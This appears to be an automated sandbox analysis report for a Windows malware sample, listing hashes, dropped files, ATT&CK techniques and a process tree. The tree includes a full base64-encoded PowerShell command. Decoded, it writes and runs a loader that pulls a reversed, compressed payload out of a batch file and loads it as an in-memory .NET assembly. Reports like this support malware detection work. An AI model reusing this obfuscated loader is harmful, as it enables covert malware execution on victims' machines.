cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 13:22

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General

Target
tmp.exe
Size 521KB
Sample240410-ql932shb49
SHA256 cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a
MD5 068c05b9f062da142d266a374866d3bb
SHA1 315726e1015e1e69cf9645bda713f463e93a8755
SHA512 25358882e596ed9299ef714e2168a70e7bceace7fafc9f61e10e2fb58b480b97f31af86ef08e553cfe69546aa8b056b09df696d5fa9e07e2784392e8bbd87156
SSDEEP 12288:xfL5njsVlNucSkkMxi+FAbPr+rr6K+u03mlw0lsp5ie:xfL5njMnOMxw26KY3t0lOAe
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2528	powershell.exe
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 2956	2988	tmp.exe	28
PID 2988 wrote to memory of 2956	2988	tmp.exe	28
PID 2988 wrote to memory of 2956	2988	tmp.exe	28
PID 2988 wrote to memory of 2956	2988	tmp.exe	28
PID 2956 wrote to memory of 2592	2956	wscript.exe	29
PID 2956 wrote to memory of 2592	2956	wscript.exe	29
PID 2956 wrote to memory of 2592	2956	wscript.exe	29
PID 2956 wrote to memory of 2592	2956	wscript.exe	29
PID 2592 wrote to memory of 2528	2592	cmd.exe	31
PID 2592 wrote to memory of 2528	2592	cmd.exe	31
PID 2592 wrote to memory of 2528	2592	cmd.exe	31
PID 2592 wrote to memory of 2528	2592	cmd.exe	31
PID 2592 wrote to memory of 2712	2592	cmd.exe	32
PID 2592 wrote to memory of 2712	2592	cmd.exe	32
PID 2592 wrote to memory of 2712	2592	cmd.exe	32
PID 2592 wrote to memory of 2712	2592	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\UndLdl.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2528
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\UndLdl.ps1"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 8602a79cf0603d6aa50abfe5428fa066f2e93b3264633461f43cd72266ea9dbc
MD5 a082f831089755f6c06f45ab3741f9f7
SHA1 8d83697dc622bf4f2f37c34ad0266f58998e8307
SHA512 5b35c7e325529d3819dc1d4f46870df7838cbecae40b5c125f9304accf86e733e0723fb40ffb688d88ab589bc512122a143f9ec5fb66baf61a31c333b37f26ab
SSDEEP 96:oVuCpM8inqvsqvJCwoXVuCpM8inqvsEHyqvJCworJFoV+QHxA7uAXlUVu:MHGUoFHGAHnorJ/oA7uAR
MD5 SHA1 SHA512 SSDEEP

Submit Download

UndLdl.ps1

Path C:\Users\Admin\UndLdl.ps1
Size 1KB
SHA256 cd78d5da40004dbaa8688d97063d1c9b3cee41ba72e8f9152ee38d86cf6efb50
MD5 6707df486205804693821eebad4c03f3
SHA1 fb4e723b632090036463d44e58ecedef4b688958
SHA512 4b497ee77faeddae306b69a45641ab8f11ebbd9712664a614be009d6ab9632cb05f2025ae9631cb51801a4f6c2e3d48b38082b9b5fca41241ec5a0088c9e88ef
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 231B
SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
MD5 abe1dd23ab4c11aae54f1898c780c0b5
SHA1 bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA512 e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 545KB
SHA256 1e23a11308681733cff73f23933670c4350cec867042bbe5f7ff54a6dcc1dd83
MD5 1ab2d7cc96ad2b86edf74d5497b45def
SHA1 baac72428aaff76788b6e0056b720c6920d0e6f8
SHA512 8b5a456b4a4c97e28b6e90735eb9a006e8afbcd3d588e04b7bd3ab24e20ef80e37cc08412cc421c0f465c148f5b1c181ea798585865bd82f9861c1a7351194a1
SSDEEP 12288:pXL/2B/pCj7B4yHitIswk1Z4+zES361vtspCHXVX+NaD4ZELB9R3:pXL/2TC/BdHPswStESqBHFONe5X3
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2528-8-0x0000000074360000-0x000000007490B000-memory.dmp

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memory/2528-10-0x0000000002710000-0x0000000002750000-memory.dmp

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memory/2528-9-0x0000000074360000-0x000000007490B000-memory.dmp

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memory/2528-11-0x0000000002710000-0x0000000002750000-memory.dmp

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memory/2528-12-0x0000000002710000-0x0000000002750000-memory.dmp

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memory/2528-14-0x0000000074360000-0x000000007490B000-memory.dmp

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memory/2712-21-0x0000000002810000-0x0000000002850000-memory.dmp

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memory/2712-22-0x0000000074320000-0x00000000748CB000-memory.dmp

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memory/2712-23-0x0000000074320000-0x00000000748CB000-memory.dmp

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memory/2712-24-0x0000000002810000-0x0000000002850000-memory.dmp

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memory/2712-20-0x0000000074320000-0x00000000748CB000-memory.dmp

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memory/2712-27-0x0000000074320000-0x00000000748CB000-memory.dmp

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memory/2712-28-0x0000000002810000-0x0000000002850000-memory.dmp

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memory/2712-29-0x0000000074320000-0x00000000748CB000-memory.dmp

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memory/2712-30-0x0000000074320000-0x00000000748CB000-memory.dmp

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memory/2712-31-0x0000000002810000-0x0000000002850000-memory.dmp

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memory/2712-32-0x0000000002810000-0x0000000002850000-memory.dmp

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